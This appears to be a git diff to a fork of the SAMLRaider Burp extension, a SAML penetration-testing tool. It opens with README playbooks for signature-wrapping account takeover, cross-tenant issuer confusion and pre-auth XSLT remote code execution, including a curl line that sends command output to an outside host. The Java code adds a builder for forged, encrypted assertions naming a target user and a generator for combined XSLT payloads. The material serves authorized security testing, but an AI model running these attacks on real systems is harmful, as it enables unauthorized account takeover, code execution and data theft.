+### 5-minute sig-never-validated triage +1. **Corrupt Digest** → forward — session = done +2. **Remove Signatures** → forward — session = done +3. **HMAC Confusion** → forward — session = alg not pinned + +### Account takeover via XSW + NameID swap +1. **Match and Replace**: `admin@target.com` (target NameID) +2. **XSW3** → **Apply XSW** → Forward +3. Walk XSW1,2,4–8 if blocked + +### Cross-tenant takeover (multi-tenant SP) +1. **Confuse Issuer → Trailing Space** → Forward +2. If blocked → try Homoglyph or NBSP variants + +### NameID admin truncation +1. **Comment Injection → Before @** → Forward +2. Blocked → **PI Injection → Before @** + +### Pre-auth RCE on Java SP (ManageEngine / Santuario) +1. **Test XSLT → Xalan Runtime.exec** +2. Command: `curl https://collab.example/$(id|base64 -w0)` +3. Forward → Collaborator hit = RCE + +### Pre-auth SSRF via EncryptedAssertion +1. Fresh captured response → **Enc SSRF → CipherReference** → Forward +2. No hit → **Reset Message** → **EncryptedKey KeyInfo** → Forward +3. No hit → **Reset Message** → **DataReference** → Forward + +### Re-signing after assertion mutation +1. **Store Certificate** (captures IdP cert) +2. Certificates tab → **Clone Certificate** +3. Select clone in **Certificate** dropdown +4. Apply mutation (XSW / Extend Validity / NameID change) +5. **(Re-)Sign Assertion** or **(Re-)Sign Message** +6. Forward + +### Forge & encrypt arbitrary assertion +1. Cert dropdown → SP encryption cert (from metadata or Store Certificate) +2. **Assertion** tab → **KeyInfo Style** → **X509IssuerSerial** +3. **Encrypt Assertion** → Build & Encrypt dialog → fill NameID → **Build & Encrypt** +4. Re-sign outer Response if required +5. Forward + +--- + +## Reference + +- [SAML Security Cheat Sheet — OWASP](https://cheatsheetseries.owasp.org/cheatsheets/SAML_Security_Cheat_Sheet.html) +- [Bypassing SAML — Duo Security (Comment Injection)](https://duo.com/blog/duo-finds-saml-vulnerabilities-affecting-multiple-implementations) +- [Dupe Key Confusion — Aura/Black Hat 2019](https://github.com/aurainfosec/signature_wrapping) +- [HMAC Confusion — CVE-2019-1006](https://mattermost.com/blog/cve-2019-1006-saml-signature-bypass/) +- [XSW reference taxonomy — Shibboleth wiki](https://wiki.shibboleth.net/confluence/display/SC/XML+Signature+Wrapping+Vulnerability) +- [XSLT injection (CVE-2022-47966) — Horizon3](https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/) +- [ruby-saml CVE-2024-45409 — GitHub Advisory](https://github.com/advisories/GHSA-jw9c-mfg7-9rx2) +- [libxml2 / GitHub Enterprise CVE-2025-23369](https://github.com/advisories/GHSA-h35p-c5cr-7v9r) +- [SAMLRaider ATTACKS.md](ATTACKS.md) — per-button reference for this fork diff --git a/src/main/java/application/CertificateTabController.java b/src/main/java/application/CertificateTabController.java index 284c406..b545ae7 100644 --- a/src/main/java/application/CertificateTabController.java +++ b/src/main/java/application/CertificateTabController.java @@ -703,6 +703,10 @@ public List getCertificatesWithPrivateKey() { return burpCertificateStore.getBurpCertificatesWithPrivateKey(); } + public List getAllCertificates() { + return burpCertificateStore.getBurpCertificates(); + } + /* * Remove */ diff --git a/src/main/java/application/SamlTabController.java b/src/main/java/application/SamlTabController.java index e87449b..dea44d8 100644 --- a/src/main/java/application/SamlTabController.java +++ b/src/main/java/application/SamlTabController.java @@ -10,6 +10,7 @@ import burp.api.montoya.ui.Selection; import burp.api.montoya.ui.editor.extension.ExtensionProvidedHttpRequestEditor; import gui.CVEHelpWindow; +import gui.EncryptAssertionDialog; import gui.SamlMain; import gui.SamlPanelInfo; import gui.SamlXmlEditor; @@ -100,6 +101,10 @@ public class SamlTabController implements ExtensionProvidedHttpRequestEditor, Ob // Captured at setRequestResponse time so Dupe-Key Confusion can restore // the victim identity after the user re-signs with an attacker key. private String originalX509Cert = null; + // X509IssuerName extracted verbatim from the original EncryptedAssertion's KeyInfo. + // Preserved so Encrypt Assertion can reproduce the exact DN format the target IdP uses, + // rather than recomputing it via Java's RFC 2253 serialization. + private String capturedIssuerName = null; public SamlTabController(boolean editable, CertificateTabController certificateTabController) { this.certificateTabController = requireNonNull(certificateTabController, "certificateTabController"); @@ -289,14 +294,22 @@ public void setRequestResponse(HttpRequestResponse requestResponse) { // Detect whether the loaded message has a signature so staleness can be tracked. // Also remember the original X509Certificate for Dupe Key Confusion. + // Also capture the X509IssuerName verbatim from any EncryptedAssertion so + // Encrypt Assertion can reproduce the exact DN format the target IdP used. hadSignature = false; originalX509Cert = null; + capturedIssuerName = null; try { Document sigDoc = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); hadSignature = sigDoc.getElementsByTagNameNS("*", "Signature").getLength() > 0; if (hadSignature) { originalX509Cert = xmlHelpers.getCertificate(sigDoc.getDocumentElement()); } + org.w3c.dom.NodeList issuerNames = sigDoc.getElementsByTagNameNS( + "http://www.w3.org/2000/09/xmldsig#", "X509IssuerName"); + if (issuerNames.getLength() > 0) { + capturedIssuerName = issuerNames.item(0).getTextContent().trim(); + } } catch (Exception ignored) {} signatureIsStale = false; samlGUI.getActionPanel().setSignatureStatus(false); @@ -499,7 +512,7 @@ private void resetInfoMessageText() { } private void updateCertificateList() { - List list = certificateTabController.getCertificatesWithPrivateKey(); + List list = certificateTabController.getAllCertificates(); samlGUI.getActionPanel().setCertificateList(list); } @@ -633,6 +646,19 @@ public void applyHMACConfusion() { } } + public void applyRefreshTimestamps() { + try { + samlMessage = AssertionManipulator.refreshTimestamps(textArea.getText()); + textArea.setText(prettifyXmlOrFallback(samlMessage)); + isEdited = true; + setInfoMessageText("Timestamps refreshed — window: now−1h to now+1h"); + markSignatureStale(); + } catch (Exception e) { + setInfoMessageText(e.getMessage()); + BurpExtender.api.logging().logToError(e); + } + } + public void applyExtendValidity(int hours) { try { samlMessage = AssertionManipulator.extendValidity(textArea.getText(), hours); @@ -659,6 +685,77 @@ public void applyStatusSuccess() { } } + public void applyEncryptAssertion() { + var cert = samlGUI.getActionPanel().getSelectedCertificate(); + if (cert == null || cert.getCertificate() == null) { + setInfoMessageText("Select the SP's certificate in the Certificate dropdown first (import via Import Metadata)."); + return; + } + try { + String xml = textArea.getText(); + Document doc = xmlHelpers.getXMLDocumentOfSAMLMessage(xml); + + if (doc.getElementsByTagNameNS("*", "Assertion").getLength() == 0) { + // No plaintext assertion present — offer to build one from response metadata. + String issuer = xmlHelpers.getIssuer(doc); + String destination = xmlHelpers.getResponseAttribute(doc, "Destination"); + String audience = deriveAudience(destination); + String nameIdFmt = "urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress"; + + var dialog = new EncryptAssertionDialog( + BurpExtender.api.userInterface().swingUtils().suiteFrame(), + issuer, nameIdFmt, destination, audience); + dialog.setVisible(true); + if (!dialog.isConfirmed()) return; + + String nameId = dialog.getNameId(); + if (nameId.isBlank()) { + setInfoMessageText("NameID is required."); + return; + } + + String assertionXml = helpers.AssertionBuilder.build( + dialog.getIssuer(), nameId, dialog.getNameIdFormat(), + dialog.getRecipient(), dialog.getAudience()); + + // Import the built assertion into the Response DOM, replacing + // any EncryptedAssertion or appending to the Response element. + Document assertionDoc = xmlHelpers.getXMLDocumentOfSAMLMessage(assertionXml); + Node assertionNode = doc.importNode(assertionDoc.getDocumentElement(), true); + + NodeList encAssertions = doc.getElementsByTagNameNS("*", "EncryptedAssertion"); + if (encAssertions.getLength() > 0) { + Node enc = encAssertions.item(0); + enc.getParentNode().replaceChild(assertionNode, enc); + } else { + NodeList responses = xmlHelpers.getResponse(doc); + if (responses.getLength() > 0) responses.item(0).appendChild(assertionNode); + } + + xml = xmlHelpers.getString(doc); + } + + var keyInfoStyle = samlGUI.getActionPanel().getSelectedKeyInfoStyle(); + samlMessage = helpers.AssertionEncryptor.encrypt(xml, cert.getCertificate(), keyInfoStyle, capturedIssuerName); + textArea.setText(prettifyXmlOrFallback(samlMessage)); + isEdited = true; + setInfoMessageText("Assertion encrypted with: " + cert.getCertificate().getSubjectX500Principal().getName()); + } catch (Exception e) { + setInfoMessageText(e.getMessage()); + BurpExtender.api.logging().logToError(e); + } + } + + private static String deriveAudience(String destination) { + if (destination == null || destination.isBlank()) return ""; + // Strip ACS path suffix (e.g. /saml/SSO) to get the SP entity ID + int idx = destination.indexOf("/saml/"); + if (idx > 0) return destination.substring(0, idx); + int slash = destination.lastIndexOf('/'); + if (slash > 8) return destination.substring(0, slash); + return destination; + } + public void applyRemoveAudience() { try { samlMessage = AssertionManipulator.removeAudienceRestriction(textArea.getText()); @@ -800,13 +897,13 @@ public void importMetadata(String metadataXml) { setInfoMessageText("Metadata contained no entries."); return; } + // Deduplicate by cert bytes — metadata often lists the same cert + // under both "signing" and "encryption" KeyDescriptors. + var seen = new java.util.LinkedHashSet(); int imported = 0; for (var entry : entries) { - // Build PEM-wrapped string so the existing importer parses it as a certificate. - String pem = "-----BEGIN CERTIFICATE-----\n" - + wrap64(entry.base64Der()) - + "-----END CERTIFICATE-----\n"; - var cert = certificateTabController.importCertificateFromString(pem); + if (!seen.add(entry.base64Der())) continue; + var cert = certificateTabController.importCertificateFromString(entry.base64Der()); if (cert != null) imported++; } setInfoMessageText("Imported " + imported + " certificate(s) from metadata"); @@ -816,14 +913,6 @@ public void importMetadata(String metadataXml) { } } - private static String wrap64(String b64) { - StringBuilder sb = new StringBuilder(); - for (int i = 0; i < b64.length(); i += 64) { - sb.append(b64, i, Math.min(i + 64, b64.length())).append('\n'); - } - return sb.toString(); - } - public void applyResponseXSS(ResponseXSS.Target target, String payload) { try { samlMessage = ResponseXSS.apply(textArea.getText(), target, payload); @@ -890,8 +979,17 @@ public void applyXSLT(XSLTPayloads.Flavor flavor, String param) { } var prefix = prefixed ? "ds:" : ""; - var stylesheet = XSLTPayloads.stylesheetFor(flavor, param); - var xslt = "\n<%sTransform>\n%s\n\n".formatted(prefix, stylesheet, prefix); + String xslt; + String statusSuffix; + if (flavor == XSLTPayloads.Flavor.ALL) { + xslt = xsltTransform(prefix, XSLTPayloads.Flavor.SAXON_UNPARSED_TEXT, param) + + xsltTransform(prefix, XSLTPayloads.Flavor.XALAN_RUNTIME_EXEC, "curl " + param) + + xsltTransform(prefix, XSLTPayloads.Flavor.XALAN_CLASS_INSTANTIATION, param); + statusSuffix = " (all 3 flavors)"; + } else { + xslt = xsltTransform(prefix, flavor, param); + statusSuffix = " (" + flavor.name() + ")"; + } int substringIndex = index + transformString.length(); String firstPart = current.substring(0, substringIndex); @@ -899,10 +997,15 @@ public void applyXSLT(XSLTPayloads.Flavor flavor, String param) { samlMessage = firstPart + xslt + secondPart; textArea.setText(prettifyXmlOrFallback(samlMessage)); isEdited = true; - setInfoMessageText(XSLT_CONTENT_APPLIED + " (" + flavor.name() + ")"); + setInfoMessageText(XSLT_CONTENT_APPLIED + statusSuffix); markSignatureStale(); } + private static String xsltTransform(String prefix, XSLTPayloads.Flavor flavor, String param) { + return "\n<%sTransform>\n%s\n\n".formatted( + prefix, XSLTPayloads.stylesheetFor(flavor, param), prefix); + } + public synchronized void addMatchAndReplace(String match, String replace) { XSWHelpers.MATCH_AND_REPLACE_MAP.put(match, replace); } diff --git a/src/main/java/gui/EncryptAssertionDialog.java b/src/main/java/gui/EncryptAssertionDialog.java new file mode 100644 index 0000000..53935c6 --- /dev/null +++ b/src/main/java/gui/EncryptAssertionDialog.java @@ -0,0 +1,74 @@ +package gui; + +import net.miginfocom.swing.MigLayout; + +import javax.swing.*; +import java.awt.*; + +/// Modal dialog for the Build+Encrypt Assertion flow. +/// Pre-filled with values extracted from the current SAML response; user only +/// needs to supply the target NameID. +public class EncryptAssertionDialog extends JDialog { + + private final JTextField txtIssuer; + private final JTextField txtNameIdFormat; + private final JTextField txtNameId; + private final JTextField txtRecipient; + private final JTextField txtAudience; + private boolean confirmed = false; + + public EncryptAssertionDialog(Window parent, + String issuer, + String nameIdFormat, + String recipient, + String audience) { + super(parent, "Build & Encrypt Assertion", ModalityType.APPLICATION_MODAL); + + txtIssuer = new JTextField(issuer, 54); + txtNameIdFormat = new JTextField(nameIdFormat, 54); + txtNameId = new JTextField(54); + txtRecipient = new JTextField(recipient, 54); + txtAudience = new JTextField(audience, 54); + + JLabel nameIdLabel = new JLabel("NameID (target user):"); + nameIdLabel.setFont(nameIdLabel.getFont().deriveFont(Font.BOLD)); + + JPanel form = new JPanel(new MigLayout("insets 14, gap 6 8", "[][grow,fill]")); + form.add(new JLabel("Issuer:")); + form.add(txtIssuer, "wrap"); + form.add(new JLabel("NameID Format:")); + form.add(txtNameIdFormat, "wrap"); + form.add(nameIdLabel); + form.add(txtNameId, "wrap"); + form.add(new JLabel("Recipient (ACS URL):")); + form.add(txtRecipient, "wrap"); + form.add(new JLabel("Audience:")); + form.add(txtAudience, "wrap"); + + JButton btnOk = new JButton("Build & Encrypt"); + JButton btnCancel = new JButton("Cancel"); + btnOk.addActionListener(e -> { confirmed = true; dispose(); }); + btnCancel.addActionListener(e -> dispose()); + + JPanel btns = new JPanel(new FlowLayout(FlowLayout.RIGHT, 6, 6)); + btns.add(btnCancel); + btns.add(btnOk); + + JPanel root = new JPanel(new BorderLayout()); + root.add(form, BorderLayout.CENTER); + root.add(btns, BorderLayout.SOUTH); + + setContentPane(root); + getRootPane().setDefaultButton(btnOk); + pack(); + setResizable(false); + setLocationRelativeTo(parent); + } + + public boolean isConfirmed() { return confirmed; } + public String getIssuer() { return txtIssuer.getText().trim(); } + public String getNameIdFormat() { return txtNameIdFormat.getText().trim(); } + public String getNameId() { return txtNameId.getText().trim(); } + public String getRecipient() { return txtRecipient.getText().trim(); } + public String getAudience() { return txtAudience.getText().trim(); } +} diff --git a/src/main/java/gui/MetadataImportDialog.java b/src/main/java/gui/MetadataImportDialog.java index 7a0178e..b3adcfa 100644 --- a/src/main/java/gui/MetadataImportDialog.java +++ b/src/main/java/gui/MetadataImportDialog.java @@ -4,72 +4,255 @@ import helpers.MetadataImport; import java.awt.BorderLayout; +import java.awt.Color; import java.awt.Component; +import java.awt.Dialog; import java.awt.Dimension; import java.awt.FlowLayout; +import java.util.ArrayList; +import java.util.List; import java.util.Optional; +import java.util.concurrent.atomic.AtomicReference; import javax.swing.BorderFactory; import javax.swing.JButton; +import javax.swing.JDialog; import javax.swing.JLabel; -import javax.swing.JOptionPane; import javax.swing.JPanel; +import javax.swing.JProgressBar; import javax.swing.JScrollPane; -import javax.swing.JTextArea; +import javax.swing.JTable; import javax.swing.JTextField; +import javax.swing.ListSelectionModel; import javax.swing.SwingUtilities; +import javax.swing.SwingWorker; +import javax.swing.table.DefaultTableCellRenderer; +import javax.swing.table.DefaultTableModel; -/// Dialog that accepts either a URL to fetch metadata XML from, or a pasted -/// XML blob. Returns the raw metadata XML to the caller; extraction happens -/// downstream in SamlTabController.importMetadata. +/// Discovery dialog for SAML metadata endpoints. +/// Shows a table of probe results; user selects a valid row and clicks Import. public class MetadataImportDialog { private MetadataImportDialog() {} public static Optional prompt(Component parent) { - var urlField = new JTextField(40); - var fetchButton = new JButton("Fetch"); - var xmlArea = new JTextArea(18, 70); - xmlArea.setLineWrap(false); - var xmlScroll = new JScrollPane(xmlArea); - xmlScroll.setPreferredSize(new Dimension(700, 360)); - - fetchButton.addActionListener(e -> { - String url = urlField.getText().trim(); - if (url.isEmpty()) { - JOptionPane.showMessageDialog(parent, "Enter a metadata URL first.", - "Metadata Import", JOptionPane.WARNING_MESSAGE); - return; - } - try { - String body = MetadataImport.fetch(url); - xmlArea.setText(body); - xmlArea.setCaretPosition(0); - } catch (Exception ex) { - BurpExtender.api.logging().logToError(ex); - JOptionPane.showMessageDialog( - SwingUtilities.getWindowAncestor((Component) e.getSource()), - "Fetch failed: " + ex.getMessage(), - "Metadata Import", JOptionPane.ERROR_MESSAGE); - } - }); + AtomicReference resultXml = new AtomicReference<>(); + + JDialog dialog = new JDialog( + SwingUtilities.getWindowAncestor(parent), + "Metadata Import", + Dialog.ModalityType.APPLICATION_MODAL); + dialog.setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE); + + // --- URL row --- + var urlField = new JTextField(50); + var checkBtn = new JButton("Check URL"); + var discoverBtn = new JButton("Discover All"); var urlRow = new JPanel(new FlowLayout(FlowLayout.LEFT, 4, 0)); urlRow.add(new JLabel("URL:")); urlRow.add(urlField); - urlRow.add(fetchButton); + urlRow.add(checkBtn); + urlRow.add(discoverBtn); + + // --- Status / progress --- + var statusLabel = new JLabel("Enter a base URL and click Discover All, or enter a full metadata URL and click Check URL."); + var progressBar = new JProgressBar(); + progressBar.setIndeterminate(false); + progressBar.setVisible(false); + + // --- Results table --- + List probeResults = new ArrayList<>(); + var tableModel = new DefaultTableModel(new String[]{"URL", "Status"}, 0) { + @Override public boolean isCellEditable(int r, int c) { return false; } + }; + var table = new JTable(tableModel); + table.setSelectionMode(ListSelectionModel.SINGLE_SELECTION); + table.setFillsViewportHeight(true); + table.getColumnModel().getColumn(0).setPreferredWidth(480); + table.getColumnModel().getColumn(1).setPreferredWidth(160); + table.setRowHeight(22); + + // Color valid rows differently + var renderer = new DefaultTableCellRenderer() { + @Override + public Component getTableCellRendererComponent( + JTable t, Object value, boolean selected, boolean focus, int row, int col) { + Component c = super.getTableCellRendererComponent(t, value, selected, focus, row, col); + if (!selected && row < probeResults.size()) { + c.setForeground(probeResults.get(row).isValid() + ? new Color(0, 180, 80) + : t.getForeground()); + } else { + c.setForeground(selected ? t.getSelectionForeground() : t.getForeground()); + } + return c; + } + }; + table.getColumnModel().getColumn(0).setCellRenderer(renderer); + table.getColumnModel().getColumn(1).setCellRenderer(renderer); + + var tableScroll = new JScrollPane(table); + tableScroll.setPreferredSize(new Dimension(700, 260)); + + // --- Bottom buttons --- + var importBtn = new JButton("Import Metadata"); + importBtn.setEnabled(false); + var cancelBtn = new JButton("Cancel"); + + table.getSelectionModel().addListSelectionListener(e -> { + if (!e.getValueIsAdjusting()) { + int row = table.getSelectedRow(); + importBtn.setEnabled(row >= 0 && row < probeResults.size() && probeResults.get(row).isValid()); + } + }); + + importBtn.addActionListener(e -> { + int row = table.getSelectedRow(); + if (row >= 0 && row < probeResults.size()) { + resultXml.set(probeResults.get(row).xml()); + } + dialog.dispose(); + }); + cancelBtn.addActionListener(e -> dialog.dispose()); + + // --- Worker tracking so we can cancel on new run --- + AtomicReference> activeWorker = new AtomicReference<>(); + + // helper: add a result row on EDT + Runnable resetTable = () -> { + probeResults.clear(); + tableModel.setRowCount(0); + importBtn.setEnabled(false); + }; + + // --- Check URL (single probe) --- + checkBtn.addActionListener(e -> { + String url = urlField.getText().trim(); + if (url.isEmpty()) { statusLabel.setText("Enter a URL first."); return; } + + SwingWorker prev = activeWorker.get(); + if (prev != null) prev.cancel(true); + + resetTable.run(); + checkBtn.setEnabled(false); + discoverBtn.setEnabled(false); + progressBar.setIndeterminate(true); + progressBar.setVisible(true); + statusLabel.setText("Checking…"); + + var worker = new SwingWorker() { + @Override + protected MetadataImport.ProbeResult doInBackground() { + var client = java.net.http.HttpClient.newBuilder() + .connectTimeout(java.time.Duration.ofSeconds(8)) + .followRedirects(java.net.http.HttpClient.Redirect.NORMAL) + .build(); + return MetadataImport.probe(url, client); + } + @Override + protected void done() { + checkBtn.setEnabled(true); + discoverBtn.setEnabled(true); + progressBar.setIndeterminate(false); + progressBar.setVisible(false); + try { + MetadataImport.ProbeResult r = get(); + probeResults.add(r); + tableModel.addRow(new Object[]{r.url(), r.status()}); + statusLabel.setText(r.isValid() ? "Metadata found — select the row and click Import Metadata." + : "Response is not valid SAML metadata (" + r.status() + ")."); + if (r.isValid()) { + table.setRowSelectionInterval(0, 0); + } + } catch (Exception ex) { + BurpExtender.api.logging().logToError(ex); + statusLabel.setText("Error: " + ex.getMessage()); + } + } + }; + activeWorker.set(worker); + worker.execute(); + }); + + // --- Discover All --- + discoverBtn.addActionListener(e -> { + String url = urlField.getText().trim(); + if (url.isEmpty()) { statusLabel.setText("Enter a base URL first (e.g. https://example.com)."); return; } + + SwingWorker prev = activeWorker.get(); + if (prev != null) prev.cancel(true); + + resetTable.run(); + checkBtn.setEnabled(false); + discoverBtn.setEnabled(false); + progressBar.setMaximum(MetadataImport.COMMON_PATHS.size()); + progressBar.setValue(0); + progressBar.setIndeterminate(false); + progressBar.setVisible(true); + statusLabel.setText("Probing " + MetadataImport.COMMON_PATHS.size() + " paths…"); + + var worker = new SwingWorker() { + @Override + protected Void doInBackground() throws InterruptedException { + MetadataImport.discover(url, this::publish); + return null; + } + @Override + protected void process(List chunks) { + for (var r : chunks) { + probeResults.add(r); + tableModel.addRow(new Object[]{r.url(), r.status()}); + progressBar.setValue(probeResults.size()); + statusLabel.setText("Trying: " + r.url()); + if (r.isValid() && table.getSelectedRow() < 0) { + int row = probeResults.size() - 1; + table.setRowSelectionInterval(row, row); + } + } + } + @Override + protected void done() { + checkBtn.setEnabled(true); + discoverBtn.setEnabled(true); + progressBar.setVisible(false); + if (isCancelled()) { statusLabel.setText("Cancelled."); return; } + long found = probeResults.stream().filter(MetadataImport.ProbeResult::isValid).count(); + statusLabel.setText(found == 0 + ? "No metadata endpoints found." + : found + " endpoint(s) found — select one and click Import Metadata."); + try { get(); } catch (Exception ex) { + BurpExtender.api.logging().logToError(ex); + } + } + }; + activeWorker.set(worker); + worker.execute(); + }); + + // --- Layout --- + var topPanel = new JPanel(new BorderLayout(0, 6)); + topPanel.setBorder(BorderFactory.createEmptyBorder(8, 8, 4, 8)); + topPanel.add(urlRow, BorderLayout.NORTH); + topPanel.add(progressBar, BorderLayout.CENTER); + topPanel.add(statusLabel, BorderLayout.SOUTH); + + var centerPanel = new JPanel(new BorderLayout(0, 4)); + centerPanel.setBorder(BorderFactory.createEmptyBorder(0, 8, 0, 8)); + centerPanel.add(new JLabel("Results:"), BorderLayout.NORTH); + centerPanel.add(tableScroll, BorderLayout.CENTER); - var panel = new JPanel(new BorderLayout(0, 8)); - panel.setBorder(BorderFactory.createEmptyBorder(4, 0, 4, 0)); - panel.add(urlRow, BorderLayout.NORTH); - panel.add(new JLabel("Metadata XML (paste or fetch):"), BorderLayout.CENTER); - panel.add(xmlScroll, BorderLayout.SOUTH); + var bottomRow = new JPanel(new FlowLayout(FlowLayout.RIGHT, 6, 8)); + bottomRow.add(cancelBtn); + bottomRow.add(importBtn); - int result = JOptionPane.showConfirmDialog( - parent, panel, "Metadata Import", JOptionPane.OK_CANCEL_OPTION, JOptionPane.PLAIN_MESSAGE); - if (result != JOptionPane.OK_OPTION) return Optional.empty(); + dialog.setLayout(new BorderLayout(0, 6)); + dialog.add(topPanel, BorderLayout.NORTH); + dialog.add(centerPanel, BorderLayout.CENTER); + dialog.add(bottomRow, BorderLayout.SOUTH); + dialog.pack(); + dialog.setLocationRelativeTo(parent); + dialog.setVisible(true); - String xml = xmlArea.getText().trim(); - if (xml.isEmpty()) return Optional.empty(); - return Optional.of(xml); + return Optional.ofNullable(resultXml.get()); } } diff --git a/src/main/java/gui/SamlPanelAction.java b/src/main/java/gui/SamlPanelAction.java index bdbc686..de93c40 100644 --- a/src/main/java/gui/SamlPanelAction.java +++ b/src/main/java/gui/SamlPanelAction.java @@ -71,10 +71,14 @@ public class SamlPanelAction extends JPanel { private final JComboBox cmbboxIssuerMode = new JComboBox<>(IssuerConfusion.Mode.values()); private final JButton btnIssuerConfuse = new JButton("Confuse Issuer"); + private final JButton btnRefreshTimestamps = new JButton("Refresh Timestamps"); private final JButton btnExtendValidity = new JButton("Extend Validity +24h"); private final JButton btnStatusSuccess = new JButton("Status → Success"); private final JButton btnRemoveAudience = new JButton("Remove Audience"); private final JButton btnDigestTamper = new JButton("Corrupt Digest"); + private final JComboBox cmbboxKeyInfoStyle = + new JComboBox<>(helpers.AssertionEncryptor.KeyInfoStyle.values()); + private final JButton btnEncryptAssertion = new JButton("Encrypt Assertion"); private final JComboBox cmbboxEncMode = new JComboBox<>(EncryptionSSRF.Mode.values()); private final JButton btnEncSSRF = new JButton("Enc SSRF"); @@ -149,10 +153,12 @@ private void initialize() { controller.applyIssuerConfusion( (IssuerConfusion.Mode) cmbboxIssuerMode.getSelectedItem())); + btnRefreshTimestamps.addActionListener(event -> controller.applyRefreshTimestamps()); btnExtendValidity.addActionListener(event -> controller.applyExtendValidity(24)); btnStatusSuccess.addActionListener(event -> controller.applyStatusSuccess()); btnRemoveAudience.addActionListener(event -> controller.applyRemoveAudience()); btnDigestTamper.addActionListener(event -> controller.applyDigestTamper()); + btnEncryptAssertion.addActionListener(event -> controller.applyEncryptAssertion()); btnACSSpoof.addActionListener(event -> OobDomainDialog.prompt(this, "ACS Spoof — Attacker URL") @@ -186,7 +192,7 @@ private void initialize() { // Bottom bar: signing, always visible var bottomBar = new JPanel(new MigLayout("insets 6 8 6 8, gap 6, fillx")); - bottomBar.add(sectionLabel("Signing"), ""); + bottomBar.add(sectionLabel("Certificate:"), ""); bottomBar.add(cmbboxCertificate); bottomBar.add(btnResignAssertion); bottomBar.add(btnResignMessage); @@ -239,9 +245,12 @@ private JPanel buildSSRFTab() { private JPanel buildAssertionTab() { var p = tabPanel(); - p.add(btnExtendValidity, ""); - p.add(btnStatusSuccess, "wrap"); + p.add(btnRefreshTimestamps, ""); + p.add(btnExtendValidity, "wrap"); + p.add(btnStatusSuccess, ""); p.add(btnRemoveAudience, "wrap"); + p.add(cmbboxKeyInfoStyle, ""); + p.add(btnEncryptAssertion, "wrap"); return p; } @@ -271,7 +280,7 @@ private JPanel buildRequestTab() { } private static JPanel tabPanel() { - return new JPanel(new MigLayout("insets 10, gap 6 8, fillx")); + return new JPanel(new MigLayout("insets 10, gap 6 8")); } private static JLabel sectionLabel(String text) { @@ -294,6 +303,10 @@ public BurpCertificate getSelectedCertificate() { return (BurpCertificate) cmbboxCertificate.getSelectedItem(); } + public helpers.AssertionEncryptor.KeyInfoStyle getSelectedKeyInfoStyle() { + return (helpers.AssertionEncryptor.KeyInfoStyle) cmbboxKeyInfoStyle.getSelectedItem(); + } + public void setXSWList(String[] xswTypes) { DefaultComboBoxModel model = new DefaultComboBoxModel(xswTypes); cmbboxXSW.setModel(model); @@ -339,10 +352,13 @@ public void disableControls() { btnCommentInject.setEnabled(false); btnHMACConfusion.setEnabled(false); btnResponseXSS.setEnabled(false); + btnRefreshTimestamps.setEnabled(false); btnExtendValidity.setEnabled(false); btnStatusSuccess.setEnabled(false); btnRemoveAudience.setEnabled(false); btnDigestTamper.setEnabled(false); + cmbboxKeyInfoStyle.setEnabled(false); + btnEncryptAssertion.setEnabled(false); cmbboxEncMode.setEnabled(false); btnEncSSRF.setEnabled(false); cmbboxSigRefMode.setEnabled(false); @@ -380,10 +396,13 @@ public void enableControls() { btnCommentInject.setEnabled(true); btnHMACConfusion.setEnabled(true); btnResponseXSS.setEnabled(true); + btnRefreshTimestamps.setEnabled(true); btnExtendValidity.setEnabled(true); btnStatusSuccess.setEnabled(true); btnRemoveAudience.setEnabled(true); btnDigestTamper.setEnabled(true); + cmbboxKeyInfoStyle.setEnabled(true); + btnEncryptAssertion.setEnabled(true); cmbboxEncMode.setEnabled(true); btnEncSSRF.setEnabled(true); cmbboxSigRefMode.setEnabled(true); diff --git a/src/main/java/gui/XSLTPayloadDialog.java b/src/main/java/gui/XSLTPayloadDialog.java index f7bf4e4..185253f 100644 --- a/src/main/java/gui/XSLTPayloadDialog.java +++ b/src/main/java/gui/XSLTPayloadDialog.java @@ -45,10 +45,11 @@ public static Optional prompt(Component parent) { boolean isRuntime = f == XSLTPayloads.Flavor.XALAN_RUNTIME_EXEC; paramLabel.setText(isRuntime ? "Shell command:" : "URL:"); useCollab.setEnabled(isPro && !isRuntime); - if (isRuntime) { - useCollab.setSelected(false); - } + if (isRuntime) useCollab.setSelected(false); paramField.setEnabled(!useCollab.isSelected()); + if (f == XSLTPayloads.Flavor.ALL) { + paramLabel.setText("URL (used for SSRF probes; curl auto-generated for RCE):"); + } }; flavorCombo.addActionListener(e -> refresh.run()); useCollab.addActionListener(e -> paramField.setEnabled(!useCollab.isSelected())); diff --git a/src/main/java/helpers/AssertionBuilder.java b/src/main/java/helpers/AssertionBuilder.java new file mode 100644 index 0000000..3450ce3 --- /dev/null +++ b/src/main/java/helpers/AssertionBuilder.java @@ -0,0 +1,64 @@ +package helpers; + +import java.time.Instant; +import java.time.temporal.ChronoUnit; +import java.util.UUID; + +/// Builds a minimal but standards-compliant SAML 2.0 Assertion XML string. +/// Validity window: NotBefore = now−1h (absorbs clock skew), +/// NotOnOrAfter = now+24h. +public class AssertionBuilder { + + public static String build( + String issuer, + String nameId, + String nameIdFormat, + String recipient, + String audience) { + + String id = "_" + UUID.randomUUID().toString().replace("-", ""); + String now = Instant.now().toString(); + String notBefore = Instant.now().minus(1, ChronoUnit.HOURS).toString(); + String notOnOrAfter = Instant.now().plus(24, ChronoUnit.HOURS).toString(); + + return """ + + %s + + %s + + + + + + + %s + + + + + + urn:oasis:names:tc:SAML:2.0:ac:classes:Password + + + + """.formatted( + id, now, + escapeXml(issuer), + escapeXml(nameIdFormat), + escapeXml(nameId), + notOnOrAfter, escapeXml(recipient), + notBefore, notOnOrAfter, + escapeXml(audience), + now); + } + + private static String escapeXml(String s) { + if (s == null) return ""; + return s.replace("&", "&").replace("<", "<").replace(">", ">") + .replace("\"", """).replace("'", "'"); + } + + private AssertionBuilder() {} +} diff --git a/src/main/java/helpers/AssertionEncryptor.java b/src/main/java/helpers/AssertionEncryptor.java new file mode 100644 index 0000000..85b1b10 --- /dev/null +++ b/src/main/java/helpers/AssertionEncryptor.java @@ -0,0 +1,190 @@ +package helpers; + +import org.apache.xml.security.Init; +import org.apache.xml.security.encryption.EncryptedKey; +import org.apache.xml.security.encryption.XMLCipher; +import org.apache.xml.security.keys.KeyInfo; +import org.apache.xml.security.keys.content.X509Data; +import org.apache.xml.security.keys.content.x509.XMLX509IssuerSerial; +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import 